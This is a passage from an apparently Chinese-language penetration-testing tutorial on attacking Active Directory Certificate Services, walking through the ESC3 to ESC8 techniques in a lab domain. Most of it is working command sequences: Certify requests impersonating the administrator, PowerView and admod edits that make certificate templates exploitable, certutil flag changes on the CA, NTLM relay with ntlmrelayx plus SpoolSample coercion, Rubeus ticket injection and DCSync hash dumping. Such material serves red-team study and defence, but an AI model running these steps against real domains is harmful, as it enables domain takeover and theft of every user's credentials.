![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682034285962.png)

* 尝试寻找第二个可以被利用的模板

  ```
  Certify.exe find
  ```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FJD1PuOfxRRDttQgbU1o1%2F1682034374663.png?alt=media&#x26;token=f1b256ca-0335-4501-a19c-2ef7d967f6d6" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682034374663.png)

* 请求第一个模板的证书

  ```
  Certify.exe request /ca:dc.fbi.gov\fbi-DC-CA /template:ESC3_1
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F5yHm9okLbkKS8QzhrGui%2F1682034433122.jpg?alt=media&#x26;token=07066ccd-0e62-4b3e-a7d5-d4342ee190ed" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682034433122.jpg)
* 将含有公私钥的pem证书整个复制到kali中使用openssl进行格式转化

  ```
  /usr/bin/openssl pkcs12 -in ESC3_1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ESC3_1.pfx
  ```

  在这里输入密码

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FvSiTEtmzz90EfqzOMfEn%2F1682035052512.png?alt=media&#x26;token=ab1ab01a-bfbb-480c-8d24-e154e20986ed" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682035052512.png)
* 利用 Certify 通过 esc3\_1.pfx 代表 administrator 申请 esc3\_2.pfx 的身份认证证书，得到的证书同样可以进行 ptt 利用

  ```
  Certify.exe request /ca:dc.fbi.gov\fbi-DC-CA /template:ESC3_2 /onbehalfof:administrator /enrollcert:esc3_1.pfx /enrollcertpw:123456
  # enrollcertpw为cert.pfx的密码
  ```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F6Kfm3Hy1fdIcOtzuGfMI%2F1682034645457.png?alt=media&#x26;token=5ae340cb-7a46-4f4d-b8af-53ad44db8f20" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682034645457.png)

* 将请求到的再去做一次证书

  将含有公私钥的pem证书整个复制到kali中使用openssl进行格式转化

  ```
  /usr/bin/openssl pkcs12 -in ESC3_2.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ESC3_2.pfx  
  ```

  在这里输入密码

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fcqh38bpxZRh49dkrLgMS%2F1682035148549.jpg?alt=media&#x26;token=fbc32b84-de28-4770-a8e4-66f0082b277b" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682035148549.jpg)
* 将生成的esc3\_2.pfx 证书放进机器，使用Rubeus申请TGT获取票据并传递，klist查看票据已经存在

```
Rubeus.exe asktgt /user:Administrator /certificate:esc3_2.pfx  /password:123456 /outfile:cert.kribi /ptt
# password为上一步输入的密码
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FbP3IdhLaiaReJC5MSS8F%2F1682034838307.png?alt=media&#x26;token=472b0013-d7b7-4ea4-a436-525b7d0cfbf7" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682034838307.png)

* 接下来即可使用dcsync等等攻击

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fk5atzT57rnnKNs89zQjS%2F1682034904216.png?alt=media&#x26;token=a5d9ca1f-c21d-4bdb-be3a-b7f75e7d4863" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682034904216.png)

### ESC4

证书模板也是AD中的对象，那么它也有安全描述符

对于攻击者，主要关注五种用户主体对证书模板的安全描述符

| 权限            | 描述                    |
| ------------- | --------------------- |
| Owner         | 对象所有人，可以编辑任何属性        |
| Full Control  | 完全控制对象，可以编辑任何属性       |
| WriteOwner    | 允许委托人修改对象的安全描述符的所有者部分 |
| WriteDacl     | 可以修改访问控制              |
| WriteProperty | 可以编辑任何属性              |

#### 配置

* 给test2域用户添加了写入的属性

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FQ0AXU5TFzzM73FRtGBTU%2F1682038055695.png?alt=media&#x26;token=81e94c8c-bbf2-4130-a853-bbcef9ce868a" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682038055695.png)

* 其他配置（随意配置）

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fs9o9QkCuhMsXneADfrGA%2F7c73ac79bb16dac72e80e5966a13d7a.jpg?alt=media&#x26;token=560a03a9-e6a6-4eaa-b2a9-7decfe22a0df" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C7c73ac79bb16dac72e80e5966a13d7a.jpg)

#### 利用

* 查看证书模板，有没有当前用户或低用户权限有写入权限的模板

```
Certify.exe find
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FLGyelg2p9l3W6dXgHCjT%2F1682067140086.jpg?alt=media&#x26;token=833e4299-08a9-474c-a922-5559e1c4432e" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682067140086.jpg)

* 这里如果没有当前用户注册权限，但是有写入权限可以给用户添加注册权限，这里给test2用户添加注册权限

  ```
  import-module .\powerview.ps1
  Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "test2" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=fbi,DC=gov" -Verbose
  # 0e10c968-78fb-11d2-90d4-00c04f79dc55是证书注册的RightsGUID
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FIVzP7vzf6PZ2y7HMunvI%2F1682074256812.png?alt=media&#x26;token=b6173b43-5d77-4e81-a237-bd77b96f9411" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682074256812.png)
* 查看ldap属性，后续更改后要还原证书模板

  ```
  adfind -b "CN=Configuration,DC=fbi,DC=gov" -f  "(&(objectclass=pkicertificatetemplate)(name=ESC4))"
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F1A15bykdjy295S9oqamq%2F1682067180373.png?alt=media&#x26;token=056e4fc8-7c7b-45fe-90d2-aa50df22a149" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682067180373.png)
* 使用[AdMod ](http://www.joeware.net/freetools/tools/admod/)更改证书模板，改为ESC1模板的样子

  根据ESC1来说主要更改以下地方：

  * `使用者名称`为`请求中提供`，即`msPKI-Certificate-Name-Flag`属性为`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`，根据[微软官方文档](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1)，其值为1

    ```
    admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov" "msPKI-Certificate-Name-Flag::1"
    ```
  * 设置一个可以用于身份验证的EKU，例如设置`pKIExtendedKeyUsage`为`1.3.6.1.4.1.311.20.2.2`(智能卡登录)的

    ```
    admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov"  "pKIExtendedKeyUsage::1.3.6.1.4.1.311.20.2.2"

    admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov"  "mspki-certificate-application-policy::1.3.6.1.4.1.311.20.2.2"
    ```
  * 发布要求的"CA证书管理程序批准"和"授权签名数量"去掉

    ```
    admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov"  "msPKI-Enrollment-Flag::0"
    # 去掉CA证书管理程序批准

    admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov"  "msPKI-RA-Signature::0"
    # 授权签名数量去掉
    ```

    以上的操作也可以选择powerview操作

    ```
    # Disable manager approval
    Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

    # Disable signature required
    Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

    # Enable enrollee supplies subject
    Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

    # Set application policy extension to client authentication
    Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
    ```

    <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FhApFLQ6DYQn1ViQBCzMl%2F1682067406339.png?alt=media&#x26;token=d77a63cc-cf75-4a24-811e-b38817b9172a" alt=""><figcaption></figcaption></figure>

    ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682067406339.png)
* 使用certify或者域控那边查看更改成功

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FewnjePbx7VLdjX3kiODm%2F1682067570447.png?alt=media&#x26;token=ddc9f110-dfb8-4db4-9da7-58f5d45b0015" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682067570447.png)

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FJiCZ7CSF8z3VWPwEa0Pq%2F121598ac787c5e8ed60fae22f60b169.jpg?alt=media&#x26;token=5823e10c-68b4-447a-a985-336874fd1980" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C121598ac787c5e8ed60fae22f60b169.jpg)
* 接下来就是ESC1中的操作了

### ESC5

#### Certificate Templates 证书模板

如果对 `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=fbi,DC=gov`有创建子对象CreateChild(及相关)的权限即可创建证书模板

相关权限是指writeDacl，GenericAll

可以使用writeDacl权限给自己加上GenericAll权限

```
Add-DomainObjectAcl -TargetIdentity "Certificate Templates" -PrincipalIdentity "test2" -Rights all -TargetSearchBase "LDAP://CN=Configuration,DC=fbi,DC=gov" -Verbose
# powerview中的模块
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FK877IahAaKid7Qh2zV3F%2F1682319101170.png?alt=media&#x26;token=31bb535c-6479-4024-b728-5101b28badc2" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682319101170.png)

创建证书模板

```
import-module .\ADCSTemplate.psm1

Export-ADCSTemplate -DisplayName ESC1 > .\ESC1.json
# 以json文件格式保存ESC1的证书模板

New-ADCSTemplate -DisplayName ESC1_test -JSON (Get-Content .\ESC1.json -Raw)  -Identity "NT AUTHORITY\Authenticated Users"
# 添加证书模板，-Identity "NT AUTHORITY\Authenticated Users"是给NT AUTHORITY\Authenticated Users添加注册权限
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FzxELOPv0w3EuR77zzMiq%2F1682318028974.png?alt=media&#x26;token=b5da6922-fcb8-4dee-a15f-8fc905ca58b8" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682318028974.png)

#### Enrollment Services 注册服务

如果对Enrollment Services下的某个CA有写入属性和管理CA（或者写入属性+颁发和管理证书）权限即可颁发证书。管理CA，颁发和管理证书都是扩展熟悉，可以使用PSPKI查询；如果使用powerview查看只能看见对这个CA有ExtendedRight权限

```
Install-Module -Name PSPKI
# 下载
模块要求：
Windows PowerShell 3.0 或更高版本
.NET Framework 4.0 或更高版本
模块安装需要安装 RSAT（远程系统管理工具），可在域控那里安装

import-module PSPKI
Get-CertificationAuthority -ComputerName dc.fbi.gov | Get-CertificationAuthorityAcl | select -expand Access
```

当然拥有writeDacl，GenericAll权限也可以

颁发证书

```
import-module .\ADCSTemplate.psm1

Export-ADCSTemplate -DisplayName ESC1 > .\ESC1.json
# 以json文件格式保存ESC1的证书模板

New-ADCSTemplate -DisplayName ESC1 -JSON (Get-Content .\ESC1.json -Raw)  -publish
```

前面两个拒绝访问应该是尝试创建证书模板的拒绝访问，不影响颁发证书

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FuulSYodxclloRHlrDPpz%2F1682320579267.png?alt=media&#x26;token=73446973-9c34-4586-8f07-675cdb12a306" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682320579267.png)

#### Public Key Services

如果对 `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`拥有writeDacl及GenericAll权限就可以尝试控制整个ADCS，其实也就是将上面两个条目的利用结合起来

如果权限继承属性设置没有让子代继承需要修改继承属性即可继续攻击，否则无权限操作

```
 Get-DomainObjectAcl -Identity "Public Key Services" -SearchBase "LDAP://CN=Configuration,DC=fbi,DC=gov" | ?{$_.SecurityIdentifier -match "S-1-5-21-124841762-3349575232-3850797422-3610"}
 # powerview
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FS8FqOnBPZhirnYPS6Aaz%2F1682338605481.png?alt=media&#x26;token=6641d888-ba22-48d7-bea7-0a0c465d86ba" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682338605481.png)

可以交互式登录用户之后使用ADexplorer修改(可以不用输入账号密码)

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fffyn61dVMz8DXO1mcvCJ%2F1682338705709.png?alt=media&#x26;token=3cf966ba-3330-4ca5-ab11-311a8e5cfa34" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682338705709.png)

修改之后在尝试创建漏洞证书模板及颁发证书

```
New-ADCSTemplate -DisplayName ESC1_test -JSON (Get-Content .\ESC1.json -Raw)  -Identity "NT AUTHORITY\Authenticated Users" -publish
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FcY6EjRTGHFp2mOc7ppxr%2F1682340060383.png?alt=media&#x26;token=b2d10565-76a9-431f-b142-69c769b3a177" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682340060383.png)

### ESC6

这涉及到 CA 的 EDITF\_ATTRIBUTESUBJECTALTNAME2 标志，这个标志的开启可以让攻击者为任意域用户注册证书，与ESC1中的CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT 标志有相同的效果

要在 CA 上启用 EDITF\_ATTRIBUTESUBJECTALTNAME2 标志，需要在 AD CS 服务器上执行以下命令并重启CertSvc 服务，这将在注册表项`\CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy` 的 EditFlags 键中设置 EDITF\_ATTRIBUTESUBJECTALTNAME2 值

```
certutil -config "dc.ice.com\ice-DC-CA" -setreg "policy\EditFlags"  +EDITF_ATTRIBUTESUBJECTALTNAME2
# certutil -config "CA_HOST\CA_NAME" -setreg "policy\RegistryValueName" +Value

删除标志：
certutil -config "dc.ice.com\ice-DC-CA" -setreg "policy\EditFlags"  -EDITF_ATTRIBUTESUBJECTALTNAME2 
```

重启之后，可以使用以下命令查看该标志是否开启

```
certutil -config "dc.ice.com\ice-DC-CA" -getreg "policy\EditFlags"
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FX42HshtBHwxVoXXc4NQL%2F1682504543775.png?alt=media&#x26;token=8f922ae1-c192-4083-bb26-601dd7b98b30" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682504543775.png)

#### 利用

ESC6在CVE-2022–26923中的补丁修复，就临时换了域环境(ICE.COM)，当前用户是test2，test1为域管用户

* Certify 的 find 命令也将尝试检查它枚举的每个 CA 证书颁发机构的这个标志值

```
certify find
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FQk7dbHOAjGK37w26Dd2G%2F1682498832978.png?alt=media&#x26;token=72450a5a-8cb4-4cbe-a4ec-240bb2528906" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682498832978.png)

请求者名称并不是"在请求者提供"，低权限用户可注册

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FzI82sKccWCAjkanQafmH%2F1682498770082.png?alt=media&#x26;token=6e8e48a5-571b-4e87-b7d4-dfdaa5f73ed5" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682498770082.png)

* 伪造管理员请求证书

  ```
  Certify.exe request /ca:dc.ice.com\ice-DC-CA /template:ESC6 /altname:ICE\test1
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FQlbV60yDfdXynV7VNUlG%2F1682498480100.png?alt=media&#x26;token=88b897ed-537a-4c8d-8469-a7bdad6deb98" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682498480100.png)
* 后面操作与ESC1一样，直接放出dcsync截图

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FG8rb4MDeXavpyOddKz7O%2F1682498611984.png?alt=media&#x26;token=ef97d10d-fbb7-46cb-bad6-0dfb95d08b5a" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682498611984.png)

### ESC7

这是基于对`Enrollment Services` 下CA的权限

使用powershell的PSPKI模块查看扩展权限

```
Import-Module -Name PSPKI
Get-CertificationAuthority -ComputerName dc.ice.com | Get-CertificationAuthorityAcl | select -expand Access
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FpCGm7zbuxG3CP8RZ6w4V%2F1682507661647.png?alt=media&#x26;token=e1d75899-f77f-4019-8727-058fa695c24a" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682507661647.png)

如果使用powerview只能看见ExtendedRight，不够详细

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FHdUSbhQDW0kPNaOsrTO4%2F1682509401564.png?alt=media&#x26;token=f9b90ef6-38d6-4536-883b-786f842caa18" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682509401564.png)

如果对其拥有"管理CA"和"颁发和管理证书"权限，则可以为其添加ESC6中的EDITF\_ATTRIBUTESUBJECTALTNAME2 标志

#### 利用

```
Import-Module PSPKI
$ConfigReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "DC.ice.com"
$ConfigReader.SetRootNode($true)
$ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$ConfigReader.SetConfigEntry(1376590,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
certutil -config "dc.ice.com\ice-DC-CA" -getreg "policy\EditFlags"
```

添加EDITF\_ATTRIBUTESUBJECTALTNAME2 标志之后就是ESC6中的攻击了。当然根据ESC5来看，有这个权限还可以尝试颁发证书

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Ft0sdnF3clW6ElbNVyJXJ%2F1682512786935.png?alt=media&#x26;token=4b14b4e9-df8c-4857-a8f4-6ee90af06266" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682512786935.png)

### ESC8

ESC8是NTLM Relay to ADCS HTTP Endpoints

可利用原因：

* 默认情况下，web注册界面(在`http://<caserver>/certsrv/`访问旧版ASP应用程序)仅支持HTTP，无法防止NTLM中继攻击。它明确地只允许通过其 Authorization HTTP 标头进行NTLM 身份验证，因此更安全的协议（如 Kerberos）不可用
* 证书注册服务（CES）、证书注册策略（CEP）Web 服务和网络设备注册服务（NDES）默认支持通过其授权 HTTP 标头协商身份验证，协商身份验证支持 Kerberos 和 NTLM。因此，攻击者可以在 Relay攻击期间协商到 NTLM 身份验证。这些 Web 服务至少默认启用 HTTPS，但不幸的是 HTTPS 本身并不能防止 NTLM 中继攻击。只有当 HTTPS 与通道绑定相结合时，才能保护 HTTPS 服务免受 NTLM 中继攻击。不幸的是，AD CS 没有为 IIS 上的身份验证启用扩展保护，这是启用通道绑定所必需的

利用条件：

* ADCS 配置为允许 NTLM 身份验证ADCS 配置为允许 NTLM 身份验证
* NTLM身份验证不受EPA或SMB签名保护 (域控是有SMB签名保护的，所以重新配置了ADCS在其他机器)
* ADCS 正在运行以下任一服务：
  * 证书颁发机构 Web 注册
  * 证书注册 Web 服务

#### 利用

* 定位域内CA服务器

  因为域控默认开启smb签名保护，这里选择其他证书服务机器

  ```
  certutil -config - -ping
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FIFwtfMGVyid4nG4KlrJw%2F1682593342940.jpg?alt=media&#x26;token=c3c12f55-e734-4567-b770-229b74e5b94e" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682593342940.jpg)

  或者直接

  ```
  certutil
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F2HkmlZR1kJ2WC0rrZsvH%2F1682593928356.png?alt=media&#x26;token=09c89900-bab0-4bc2-a707-66ab02a7efb3" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682593928356.png)
* 测试连通性

  ```
  curl http://1.1.1.20/certsrv/ -I
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2F9Sdsiy4IM2VWY0gzo5iG%2F1682593792227.png?alt=media&#x26;token=549b5924-3e56-40cf-95e1-df294641fe76" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682593792227.png)
* 设置ntlm relay的监听

  ```
  python3 ntlmrelayx.py -debug -smb2support --target http://1.1.1.20/certsrv/certfnsh.asp --adcs --template DomainController
  # 1.1.1.20是安装证书服务的机器
  --template指定 AD CS 证书模板
  --adcs 启用 AD CS Relay 攻击
  ```
* 强制域控访问攻击机，这里使用spoolsample

  ```
  spoolsample 1.1.1.10 1.1.1.6
  # spoolsample target-ip attack-ip
  ```

  这边接收到了证书

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FpziMobIbsCtG8gnVqmrD%2F1682592300116.jpg?alt=media&#x26;token=abb4872b-7eec-45e4-9f1e-48b76a0b8c42" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682592300116.jpg)
* 使用上面接收到的证书在rubeus中获取域控机器用户的TGT并注入

  ```
  rubeus asktgt /outfile:kirbi /user:dc$ /ptt /certificate:<certificate>
  ```

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2Fk3S8nAoyLOCtrdmQKxZv%2F1682592446901.png?alt=media&#x26;token=f9b381f0-9462-4fc0-9e49-194d4975901f" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682592446901.png)
* 尝试使用dcsync获取域用户hash

  成功，可以发现一开始是不能dcsync的(一开始没有注入TGT)，后面重新打开mimikatz就可以了(注入了TGT)

  <figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FLCg6gtni6Y7qHSoVhnQi%2F1682592504072.png?alt=media&#x26;token=62984bfd-ba18-4246-b87e-17417f589b49" alt=""><figcaption></figcaption></figure>

  ![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1682592504072.png)

## 工具

[ADCSTemplate](https://github.com/GoateePFE/ADCSTemplate) (需要Active Directory模块)

server机器安装ActiveDirectory模块:

```
Get-Module -ListAvailable
# 确认是否已经安装Active Directory PowerShell

Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
# Windows Server 2008 R2或者更高的版本的powershell，需要管理员权限
```

[SpoolSample](https://github.com/leechristensen/SpoolSample)

